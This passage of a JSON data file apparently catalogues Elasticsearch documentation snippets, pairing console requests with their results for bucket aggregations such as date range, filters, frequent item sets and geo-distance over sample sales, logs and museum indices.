\"type\": \"keyword\",\n \"script\": \"emit(doc['date'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT))\"\n }\n },\n \"aggs\": {\n \"day_of_week\": {\n \"terms\": { \"field\": \"date.day_of_week\" }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/datehistogram-aggregation.asciidoc","line":837},"digest":"44e366126f16d01ac06d1f30afb9e0c3","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"day_of_week\": {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"Sunday\",\n \"doc_count\": 4\n },\n {\n \"key\": \"Thursday\",\n \"doc_count\": 3\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/daterange-aggregation.asciidoc","line":19},"digest":"c464ed2001d66a1446f37659dc9efc2a","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"range\": {\n \"date_range\": {\n \"field\": \"date\",\n \"format\": \"MM-yyyy\",\n \"ranges\": [\n { \"to\": \"now-10M/M\" }, <1>\n { \"from\": \"now-10M/M\" } <2>\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/daterange-aggregation.asciidoc","line":48},"digest":"62db391ba838b472750763708a4c6c93","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"range\": {\n \"buckets\": [\n {\n \"to\": 1.4436576E12,\n \"to_as_string\": \"10-2015\",\n \"doc_count\": 7,\n \"key\": \"*-10-2015\"\n },\n {\n \"from\": 1.4436576E12,\n \"from_as_string\": \"10-2015\",\n \"doc_count\": 0,\n \"key\": \"10-2015-*\"\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/daterange-aggregation.asciidoc","line":85},"digest":"a6ef8cd8c8218d547727ffc5485bfbd7","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"range\": {\n \"date_range\": {\n \"field\": \"date\",\n \"missing\": \"1976/11/30\",\n \"ranges\": [\n {\n \"key\": \"Older\",\n \"to\": \"2016/02/01\"\n }, <1>\n {\n \"key\": \"Newer\",\n \"from\": \"2016/02/01\",\n \"to\" : \"now/d\"\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/daterange-aggregation.asciidoc","line":276},"digest":"901d66919e584515717bf78ab5ca2cbb","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"range\": {\n \"date_range\": {\n \"field\": \"date\",\n \"time_zone\": \"CET\",\n \"ranges\": [\n { \"to\": \"2016/02/01\" }, <1>\n { \"from\": \"2016/02/01\", \"to\" : \"now/d\" }, <2>\n { \"from\": \"now/d\" }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/daterange-aggregation.asciidoc","line":305},"digest":"ece01f9382e450f669c0e0925e5b30e5","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"range\": {\n \"date_range\": {\n \"field\": \"date\",\n \"format\": \"MM-yyy\",\n \"ranges\": [\n { \"to\": \"now-10M/M\" },\n { \"from\": \"now-10M/M\" }\n ],\n \"keyed\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/daterange-aggregation.asciidoc","line":328},"digest":"e08740e1125019aaeaf013e243edecf4","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"range\": {\n \"buckets\": {\n \"*-10-2015\": {\n \"to\": 1.4436576E12,\n \"to_as_string\": \"10-2015\",\n \"doc_count\": 7\n },\n \"10-2015-*\": {\n \"from\": 1.4436576E12,\n \"from_as_string\": \"10-2015\",\n \"doc_count\": 0\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/daterange-aggregation.asciidoc","line":354},"digest":"74678f8bbc7e4fc1885719d1cf63ac67","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"range\": {\n \"date_range\": {\n \"field\": \"date\",\n \"format\": \"MM-yyy\",\n \"ranges\": [\n { \"from\": \"01-2015\", \"to\": \"03-2015\", \"key\": \"quarter_01\" },\n { \"from\": \"03-2015\", \"to\": \"06-2015\", \"key\": \"quarter_02\" }\n ],\n \"keyed\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/daterange-aggregation.asciidoc","line":377},"digest":"d1538ecbc2b1cf0e3690207b72cf6d43","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"range\": {\n \"buckets\": {\n \"quarter_01\": {\n \"from\": 1.4200704E12,\n \"from_as_string\": \"01-2015\",\n \"to\": 1.425168E12,\n \"to_as_string\": \"03-2015\",\n \"doc_count\": 5\n },\n \"quarter_02\": {\n \"from\": 1.425168E12,\n \"from_as_string\": \"03-2015\",\n \"to\": 1.4331168E12,\n \"to_as_string\": \"06-2015\",\n \"doc_count\": 2\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/diversified-sampler-aggregation.asciidoc","line":33},"digest":"b5e5cd4eccc40d7c5f2a1fcb654bd4a4","lang":"console","found":["ruby"],"source":"POST /stackoverflow/_search?size=0\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"tags:elasticsearch\"\n }\n },\n \"aggs\": {\n \"my_unbiased_sample\": {\n \"diversified_sampler\": {\n \"shard_size\": 200,\n \"field\": \"author\"\n },\n \"aggs\": {\n \"keywords\": {\n \"significant_terms\": {\n \"field\": \"tags\",\n \"exclude\": [ \"elasticsearch\" ]\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/diversified-sampler-aggregation.asciidoc","line":64},"digest":"6ea75e3e525d53ef9d8eb97b6fe4a751","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"my_unbiased_sample\": {\n \"doc_count\": 151, <1>\n \"keywords\": { <2>\n \"doc_count\": 151,\n \"bg_count\": 650,\n \"buckets\": [\n {\n \"key\": \"kibana\",\n \"doc_count\": 150,\n \"score\": 2.213,\n \"bg_count\": 200\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/diversified-sampler-aggregation.asciidoc","line":99},"digest":"c639036b87d02fb864e27c4ca29ef833","lang":"console","found":["ruby"],"source":"POST /stackoverflow/_search?size=0\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"tags:kibana\"\n }\n },\n \"runtime_mappings\": {\n \"tags.hash\": {\n \"type\": \"long\",\n \"script\": \"emit(doc['tags'].hashCode())\"\n }\n },\n \"aggs\": {\n \"my_unbiased_sample\": {\n \"diversified_sampler\": {\n \"shard_size\": 200,\n \"max_docs_per_value\": 3,\n \"field\": \"tags.hash\"\n },\n \"aggs\": {\n \"keywords\": {\n \"significant_terms\": {\n \"field\": \"tags\",\n \"exclude\": [ \"kibana\" ]\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/diversified-sampler-aggregation.asciidoc","line":137},"digest":"fcc7d095a0eb53a6e4d07c3e5beb590a","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"my_unbiased_sample\": {\n \"doc_count\": 6,\n \"keywords\": {\n \"doc_count\": 6,\n \"bg_count\": 650,\n \"buckets\": [\n {\n \"key\": \"logstash\",\n \"doc_count\": 3,\n \"score\": 2.213,\n \"bg_count\": 50\n },\n {\n \"key\": \"elasticsearch\",\n \"doc_count\": 3,\n \"score\": 1.34,\n \"bg_count\": 200\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filter-aggregation.asciidoc","line":13},"digest":"6b1e837a8469eca2d03d5c36f5910f34","lang":"console","found":["python","ruby"],"source":"POST /sales/_search?size=0&filter_path=aggregations\n{\n \"aggs\": {\n \"avg_price\": { \"avg\": { \"field\": \"price\" } },\n \"t_shirts\": {\n \"filter\": { \"term\": { \"type\": \"t-shirt\" } },\n \"aggs\": {\n \"avg_price\": { \"avg\": { \"field\": \"price\" } }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filter-aggregation.asciidoc","line":35},"digest":"51fcc1c016cc830f9066cf1670f901ce","lang":"console-result","found":[],"source":"{\n \"aggregations\": {\n \"avg_price\": { \"value\": 140.71428571428572 },\n \"t_shirts\": {\n \"doc_count\": 3,\n \"avg_price\": { \"value\": 128.33333333333334 }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filter-aggregation.asciidoc","line":58},"digest":"0163af36c8472ac0c5160c8b716f5b26","lang":"console","found":["python","ruby"],"source":"POST /sales/_search?size=0&filter_path=aggregations\n{\n \"query\": { \"term\": { \"type\": \"t-shirt\" } },\n \"aggs\": {\n \"avg_price\": { \"avg\": { \"field\": \"price\" } }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filter-aggregation.asciidoc","line":83},"digest":"d7f42d1b906dc406be1819d17c625d5f","lang":"console","found":["python","ruby"],"source":"POST /sales/_search?size=0&filter_path=aggregations\n{\n \"aggs\": {\n \"t_shirts\": {\n \"filter\": { \"term\": { \"type\": \"t-shirt\" } },\n \"aggs\": {\n \"avg_price\": { \"avg\": { \"field\": \"price\" } }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filter-aggregation.asciidoc","line":122},"digest":"3544f17cb97b613a2f733707c676f759","lang":"console","found":["python","ruby"],"source":"POST /sales/_search?size=0&filter_path=aggregations\n{\n \"aggs\": {\n \"f\": {\n \"filters\": {\n \"filters\": {\n \"hats\": { \"term\": { \"type\": \"hat\" } },\n \"t_shirts\": { \"term\": { \"type\": \"t-shirt\" } }\n }\n },\n \"aggs\": {\n \"avg_price\": { \"avg\": { \"field\": \"price\" } }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filter-aggregation.asciidoc","line":167},"digest":"0e3b4a48a3450cd99c95ec46d4701b58","lang":"console","found":["python","ruby"],"source":"POST /sales/_search?size=0&filter_path=aggregations\n{\n \"aggs\": {\n \"hats\": {\n \"filter\": { \"term\": { \"type\": \"hat\" } },\n \"aggs\": {\n \"avg_price\": { \"avg\": { \"field\": \"price\" } }\n }\n },\n \"t_shirts\": {\n \"filter\": { \"term\": { \"type\": \"t-shirt\" } },\n \"aggs\": {\n \"avg_price\": { \"avg\": { \"field\": \"price\" } }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filters-aggregation.asciidoc","line":13},"digest":"188e6208cccb13027a5c1c95440841ee","lang":"console","found":["ruby"],"source":"PUT /logs/_bulk?refresh\n{ \"index\" : { \"_id\" : 1 } }\n{ \"body\" : \"warning: page could not be rendered\" }\n{ \"index\" : { \"_id\" : 2 } }\n{ \"body\" : \"authentication error\" }\n{ \"index\" : { \"_id\" : 3 } }\n{ \"body\" : \"warning: connection timed out\" }\n\nGET logs/_search\n{\n \"size\": 0,\n \"aggs\" : {\n \"messages\" : {\n \"filters\" : {\n \"filters\" : {\n \"errors\" : { \"match\" : { \"body\" : \"error\" }},\n \"warnings\" : { \"match\" : { \"body\" : \"warning\" }}\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filters-aggregation.asciidoc","line":45},"digest":"9024c429b700eef896a8f12aa96b1dd3","lang":"console-result","found":[],"source":"{\n \"took\": 9,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"messages\": {\n \"buckets\": {\n \"errors\": {\n \"doc_count\": 1\n },\n \"warnings\": {\n \"doc_count\": 2\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filters-aggregation.asciidoc","line":76},"digest":"3cd2f7f9096a8e8180f27b6c30e71840","lang":"console","found":["ruby"],"source":"GET logs/_search\n{\n \"size\": 0,\n \"aggs\" : {\n \"messages\" : {\n \"filters\" : {\n \"filters\" : [\n { \"match\" : { \"body\" : \"error\" }},\n { \"match\" : { \"body\" : \"warning\" }}\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filters-aggregation.asciidoc","line":98},"digest":"be0d6421c3fa5bed737f55c6f44ca5d5","lang":"console-result","found":[],"source":"{\n \"took\": 4,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"messages\": {\n \"buckets\": [\n {\n \"doc_count\": 1\n },\n {\n \"doc_count\": 2\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filters-aggregation.asciidoc","line":138},"digest":"21bb03ca9123de3237c1c76934f9f172","lang":"console","found":["ruby"],"source":"PUT logs/_doc/4?refresh\n{\n \"body\": \"info: user Bob logged out\"\n}\n\nGET logs/_search\n{\n \"size\": 0,\n \"aggs\" : {\n \"messages\" : {\n \"filters\" : {\n \"other_bucket_key\": \"other_messages\",\n \"filters\" : {\n \"errors\" : { \"match\" : { \"body\" : \"error\" }},\n \"warnings\" : { \"match\" : { \"body\" : \"warning\" }}\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filters-aggregation.asciidoc","line":165},"digest":"8f7dede7e1320bde1a4ebbf22da9a9a8","lang":"console-result","found":[],"source":"{\n \"took\": 3,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"messages\": {\n \"buckets\": {\n \"errors\": {\n \"doc_count\": 1\n },\n \"warnings\": {\n \"doc_count\": 2\n },\n \"other_messages\": {\n \"doc_count\": 1\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filters-aggregation.asciidoc","line":208},"digest":"d8fa7ca2ec8dbfa034603ea566e33f5b","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0&filter_path=aggregations\n{\n \"aggs\": {\n \"the_filter\": {\n \"filters\": {\n \"keyed\": false,\n \"filters\": {\n \"t-shirt\": { \"term\": { \"type\": \"t-shirt\" } },\n \"hat\": { \"term\": { \"type\": \"hat\" } }\n }\n },\n \"aggs\": {\n \"avg_price\": { \"avg\": { \"field\": \"price\" } },\n \"sort_by_avg_price\": {\n \"bucket_sort\": { \"sort\": { \"avg_price\": \"asc\" } }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/filters-aggregation.asciidoc","line":235},"digest":"df687b4de647f273584699f946c57b23","lang":"console-result","found":[],"source":"{\n \"aggregations\": {\n \"the_filter\": {\n \"buckets\": [\n {\n \"key\": \"t-shirt\",\n \"doc_count\": 3,\n \"avg_price\": { \"value\": 128.33333333333334 }\n },\n {\n \"key\": \"hat\",\n \"doc_count\": 3,\n \"avg_price\": { \"value\": 150.0 }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/frequent-item-sets-aggregation.asciidoc","line":144},"digest":"2493c25e1ef944bc4de0f726470bcdec","lang":"console","found":[],"source":"POST /kibana_sample_data_ecommerce/_async_search\n{\n \"size\":0,\n \"aggs\":{\n \"my_agg\":{\n \"frequent_item_sets\":{\n \"minimum_set_size\":3,\n \"fields\":[\n {\n \"field\":\"category.keyword\"\n },\n {\n \"field\":\"geoip.city_name\",\n \"exclude\":\"other\"\n }\n ],\n \"size\":3\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/frequent-item-sets-aggregation.asciidoc","line":173},"digest":"e95ba581b298cd7bb598374afbfed315","lang":"console","found":[],"source":"GET /_async_search/"}, {"source_location":{"file":"aggregations/bucket/frequent-item-sets-aggregation.asciidoc","line":181},"digest":"c65efa6d34f819e43f0bc6cb2173c6f8","lang":"console-result","found":[],"source":"(...)\n\"aggregations\" : {\n \"my_agg\" : {\n \"buckets\" : [ <1>\n {\n \"key\" : { <2>\n \"category.keyword\" : [\n \"Women's Clothing\",\n \"Women's Shoes\"\n ],\n \"geoip.city_name\" : [\n \"New York\"\n ]\n },\n \"doc_count\" : 217, <3>\n \"support\" : 0.04641711229946524 <4>\n },\n {\n \"key\" : {\n \"category.keyword\" : [\n \"Women's Clothing\",\n \"Women's Accessories\"\n ],\n \"geoip.city_name\" : [\n \"New York\"\n ]\n },\n \"doc_count\" : 135,\n \"support\" : 0.028877005347593583\n },\n {\n \"key\" : {\n \"category.keyword\" : [\n \"Men's Clothing\",\n \"Men's Shoes\"\n ],\n \"geoip.city_name\" : [\n \"Cairo\"\n ]\n },\n \"doc_count\" : 123,\n \"support\" : 0.026310160427807486\n }\n ],\n (...)\n }\n}"}, {"source_location":{"file":"aggregations/bucket/frequent-item-sets-aggregation.asciidoc","line":257},"digest":"cac74a85c6b352a6e23d8673abae126f","lang":"console","found":[],"source":"POST /kibana_sample_data_ecommerce/_async_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_agg\": {\n \"frequent_item_sets\": {\n \"minimum_set_size\": 3,\n \"fields\": [\n { \"field\": \"category.keyword\" },\n { \"field\": \"geoip.city_name\" }\n ],\n \"size\": 3,\n \"filter\": {\n \"term\": {\n \"geoip.continent_name\": \"Europe\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/frequent-item-sets-aggregation.asciidoc","line":301},"digest":"aadf36ae37460a735e06b953b4cee494","lang":"console","found":[],"source":"GET kibana_sample_data_ecommerce/_search\n{\n \"runtime_mappings\": {\n \"price_range\": {\n \"type\": \"keyword\",\n \"script\": {\n \"source\": \"\"\"\n def bucket_start = (long) Math.floor(doc['taxful_total_price'].value / 50) * 50;\n def bucket_end = bucket_start + 50;\n emit(bucket_start.toString() + \"-\" + bucket_end.toString());\n \"\"\"\n }\n }\n },\n \"size\": 0,\n \"aggs\": {\n \"my_agg\": {\n \"frequent_item_sets\": {\n \"minimum_set_size\": 4,\n \"fields\": [\n {\n \"field\": \"category.keyword\"\n },\n {\n \"field\": \"price_range\"\n },\n {\n \"field\": \"geoip.city_name\"\n }\n ],\n \"size\": 3\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/frequent-item-sets-aggregation.asciidoc","line":343},"digest":"ebfc820d2606c0a52f7843023839306f","lang":"console-result","found":[],"source":"(...)\n\"aggregations\" : {\n \"my_agg\" : {\n \"buckets\" : [\n {\n \"key\" : {\n \"category.keyword\" : [\n \"Women's Clothing\",\n \"Women's Shoes\"\n ],\n \"price_range\" : [\n \"50-100\"\n ],\n \"geoip.city_name\" : [\n \"New York\"\n ]\n },\n \"doc_count\" : 100,\n \"support\" : 0.0213903743315508\n },\n {\n \"key\" : {\n \"category.keyword\" : [\n \"Women's Clothing\",\n \"Women's Shoes\"\n ],\n \"price_range\" : [\n \"50-100\"\n ],\n \"geoip.city_name\" : [\n \"Dubai\"\n ]\n },\n \"doc_count\" : 59,\n \"support\" : 0.012620320855614974\n },\n {\n \"key\" : {\n \"category.keyword\" : [\n \"Men's Clothing\",\n \"Men's Shoes\"\n ],\n \"price_range\" : [\n \"50-100\"\n ],\n \"geoip.city_name\" : [\n \"Marrakesh\"\n ]\n },\n \"doc_count\" : 53,\n \"support\" : 0.011336898395721925\n }\n ],\n (...)\n }\n }"}, {"source_location":{"file":"aggregations/bucket/geodistance-aggregation.asciidoc","line":10},"digest":"ba07330ed3291b3970f4eb01dacd8086","lang":"console","found":["ruby"],"source":"PUT /museums\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n}\n\nPOST /museums/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"location\": \"POINT (4.912350 52.374081)\", \"name\": \"NEMO Science Museum\"}\n{\"index\":{\"_id\":2}}\n{\"location\": \"POINT (4.901618 52.369219)\", \"name\": \"Museum Het Rembrandthuis\"}\n{\"index\":{\"_id\":3}}\n{\"location\": \"POINT (4.914722 52.371667)\", \"name\": \"Nederlands Scheepvaartmuseum\"}\n{\"index\":{\"_id\":4}}\n{\"location\": \"POINT (4.405200 51.222900)\", \"name\": \"Letterenhuis\"}\n{\"index\":{\"_id\":5}}\n{\"location\": \"POINT (2.336389 48.861111)\", \"name\": \"Musée du Louvre\"}\n{\"index\":{\"_id\":6}}\n{\"location\": \"POINT (2.327000 48.860000)\", \"name\": \"Musée d'Orsay\"}\n\nPOST /museums/_search?size=0\n{\n \"aggs\": {\n \"rings_around_amsterdam\": {\n \"geo_distance\": {\n \"field\": \"location\",\n \"origin\": \"POINT (4.894 52.3760)\",\n \"ranges\": [\n { \"to\": 100000 },\n { \"from\": 100000, \"to\": 300000 },\n { \"from\": 300000 }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geodistance-aggregation.asciidoc","line":57},"digest":"b19c37d5cae3c6311ac3693ae0c4b902","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"rings_around_amsterdam\": {\n \"buckets\": [\n {\n \"key\": \"*-100000.0\",\n \"from\": 0.0,\n \"to\": 100000.0,\n \"doc_count\": 3\n },\n {\n \"key\": \"100000.0-300000.0\",\n \"from\": 100000.0,\n \"to\": 300000.0,\n \"doc_count\": 1\n },\n {\n \"key\": \"300000.0-*\",\n \"from\": 300000.0,\n \"doc_count\": 2\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geodistance-aggregation.asciidoc","line":96},"digest":"ab29bfbd35ee482cf54052b03d62cd31","lang":"console","found":["ruby"],"source":"POST /museums/_search?size=0\n{\n \"aggs\": {\n \"rings\": {\n \"geo_distance\": {\n \"field\": \"location\",\n \"origin\": \"POINT (4.894 52.3760)\",\n \"unit\": \"km\", <1>\n \"ranges\": [\n { \"to\": 100 },\n { \"from\": 100, \"to\": 300 },\n { \"from\": 300 }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geodistance-aggregation.asciidoc","line":122},"digest":"bc4d308069af23929a49d856f6bc3008","lang":"console","found":["ruby"],"source":"POST /museums/_search?size=0\n{\n \"aggs\": {\n \"rings\": {\n \"geo_distance\": {\n \"field\": \"location\",\n \"origin\": \"POINT (4.894 52.3760)\",\n \"unit\": \"km\",\n \"distance_type\": \"plane\",\n \"ranges\": [\n { \"to\": 100 },\n { \"from\": 100, \"to\": 300 },\n { \"from\": 300 }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geodistance-aggregation.asciidoc","line":149},"digest":"65c671fbecdb5b0d75c13d63f87e36f0","lang":"console","found":["ruby"],"source":"POST /museums/_search?size=0\n{\n \"aggs\": {\n \"rings_around_amsterdam\": {\n \"geo_distance\": {\n \"field\": \"location\",\n \"origin\": \"POINT (4.894 52.3760)\",\n \"ranges\": [\n { \"to\": 100000 },\n { \"from\": 100000, \"to\": 300000 },\n { \"from\": 300000 }\n ],\n \"keyed\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geodistance-aggregation.asciidoc","line":173},"digest":"80c504892d76d3577b7b27f56023bf01","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"rings_around_amsterdam\": {\n \"buckets\": {\n \"*-100000.0\": {\n \"from\": 0.0,\n \"to\": 100000.0,\n \"doc_count\": 3\n },\n \"100000.0-300000.0\": {\n \"from\": 100000.0,\n \"to\": 300000.0,\n \"doc_count\": 1\n },\n \"300000.0-*\": {\n \"from\": 300000.0,\n \"doc_count\": 2\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geodistance-aggregation.asciidoc","line":203},"digest":"ed01d27b8f80bb4ea54bf4e32b8d6258","lang":"console","found":["ruby"],"source":"POST /museums/_search?size=0\n{\n \"aggs\": {\n \"rings_around_amsterdam\": {\n \"geo_distance\": {\n \"field\": \"location\",\n \"origin\": \"POINT (4.894 52.3760)\",\n \"ranges\": [\n { \"to\": 100000, \"key\": \"first_ring\" },\n { \"from\": 100000, \"to\": 300000, \"key\": \"second_ring\" },\n { \"from\": 300000, \"key\": \"third_ring\" }\n ],\n \"keyed\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geodistance-aggregation.asciidoc","line":227},"digest":"2aa9d5ea66657a4057d782a27b753df2","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"rings_around_amsterdam\": {\n \"buckets\": {\n \"first_ring\": {\n \"from\": 0.0,\n \"to\": 100000.0,\n \"doc_count\": 3\n },\n \"second_ring\": {\n \"from\": 100000.0,\n \"to\": 300000.0,\n \"doc_count\": 1\n },\n \"third_ring\": {\n \"from\": 300000.0,\n \"doc_count\": 2\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohashgrid-aggregation.asciidoc","line":27},"digest":"db879dcf70abc4a9a14063a9a2d8d6f5","lang":"console","found":["ruby"],"source":"PUT /museums\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n}\n\nPOST /museums/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"location\": \"POINT (4.912350 52.374081)\", \"name\": \"NEMO Science Museum\"}\n{\"index\":{\"_id\":2}}\n{\"location\": \"POINT (4.901618 52.369219)\", \"name\": \"Museum Het Rembrandthuis\"}\n{\"index\":{\"_id\":3}}\n{\"location\": \"POINT (4.914722 52.371667)\", \"name\": \"Nederlands Scheepvaartmuseum\"}\n{\"index\":{\"_id\":4}}\n{\"location\": \"POINT (4.405200 51.222900)\", \"name\": \"Letterenhuis\"}\n{\"index\":{\"_id\":5}}\n{\"location\": \"POINT (2.336389 48.861111)\", \"name\": \"Musée du Louvre\"}\n{\"index\":{\"_id\":6}}\n{\"location\": \"POINT (2.327000 48.860000)\", \"name\": \"Musée d'Orsay\"}\n\nPOST /museums/_search?size=0\n{\n \"aggregations\": {\n \"large-grid\": {\n \"geohash_grid\": {\n \"field\": \"location\",\n \"precision\": 3\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohashgrid-aggregation.asciidoc","line":69},"digest":"d9656af3576a5a4d7beb39f6e12d6734","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"large-grid\": {\n \"buckets\": [\n {\n \"key\": \"u17\",\n \"doc_count\": 3\n },\n {\n \"key\": \"u09\",\n \"doc_count\": 2\n },\n {\n \"key\": \"u15\",\n \"doc_count\": 1\n }\n ]\n }\n}\n}"}, {"source_location":{"file":"aggregations/bucket/geohashgrid-aggregation.asciidoc","line":99},"digest":"3eca58ef7592b3a857ea3a9898de5997","lang":"console","found":["ruby"],"source":"POST /museums/_search?size=0\n{\n \"aggregations\": {\n \"zoomed-in\": {\n \"filter\": {\n \"geo_bounding_box\": {\n \"location\": {\n \"top_left\": \"POINT (4.9 52.4)\",\n \"bottom_right\": \"POINT (5.0 52.3)\"\n }\n }\n },\n \"aggregations\": {\n \"zoom1\": {\n \"geohash_grid\": {\n \"field\": \"location\",\n \"precision\": 8\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohashgrid-aggregation.asciidoc","line":130},"digest":"a1879930c1dac36a57d7f094a680420b","lang":"console","found":["ruby"],"source":"POST /museums/_search?size=0\n{\n \"aggregations\": {\n \"zoomed-in\": {\n \"filter\": {\n \"geo_bounding_box\": {\n \"location\": {\n \"top_left\": \"u17\",\n \"bottom_right\": \"u17\"\n }\n }\n },\n \"aggregations\": {\n \"zoom1\": {\n \"geohash_grid\": {\n \"field\": \"location\",\n \"precision\": 8\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohashgrid-aggregation.asciidoc","line":158},"digest":"4fe2c10dafa80dc20df3df44fcc550b1","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"zoomed-in\": {\n \"doc_count\": 3,\n \"zoom1\": {\n \"buckets\": [\n {\n \"key\": \"u173zy3j\",\n \"doc_count\": 1\n },\n {\n \"key\": \"u173zvfz\",\n \"doc_count\": 1\n },\n {\n \"key\": \"u173zt90\",\n \"doc_count\": 1\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohashgrid-aggregation.asciidoc","line":212},"digest":"4ca5bc2c2b2f64d15b9c16370ae97a39","lang":"console","found":["ruby"],"source":"POST /museums/_search?size=0\n{\n \"aggregations\": {\n \"tiles-in-bounds\": {\n \"geohash_grid\": {\n \"field\": \"location\",\n \"precision\": 8,\n \"bounds\": {\n \"top_left\": \"POINT (4.21875 53.4375)\",\n \"bottom_right\": \"POINT (5.625 52.03125)\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohashgrid-aggregation.asciidoc","line":232},"digest":"e8140d06d9e3d68015487b571e88fa67","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"tiles-in-bounds\": {\n \"buckets\": [\n {\n \"key\": \"u173zy3j\",\n \"doc_count\": 1\n },\n {\n \"key\": \"u173zvfz\",\n \"doc_count\": 1\n },\n {\n \"key\": \"u173zt90\",\n \"doc_count\": 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohexgrid-aggregation.asciidoc","line":29},"digest":"2063713516847eef5d1dbf4ca1e877b0","lang":"console","found":["ruby"],"source":"PUT /museums\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n}\n\nPOST /museums/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"location\": \"POINT (4.912350 52.374081)\", \"name\": \"NEMO Science Museum\"}\n{\"index\":{\"_id\":2}}\n{\"location\": \"POINT (4.901618 52.369219)\", \"name\": \"Museum Het Rembrandthuis\"}\n{\"index\":{\"_id\":3}}\n{\"location\": \"POINT (4.914722 52.371667)\", \"name\": \"Nederlands Scheepvaartmuseum\"}\n{\"index\":{\"_id\":4}}\n{\"location\": \"POINT (4.405200 51.222900)\", \"name\": \"Letterenhuis\"}\n{\"index\":{\"_id\":5}}\n{\"location\": \"POINT (2.336389 48.861111)\", \"name\": \"Musée du Louvre\"}\n{\"index\":{\"_id\":6}}\n{\"location\": \"POINT 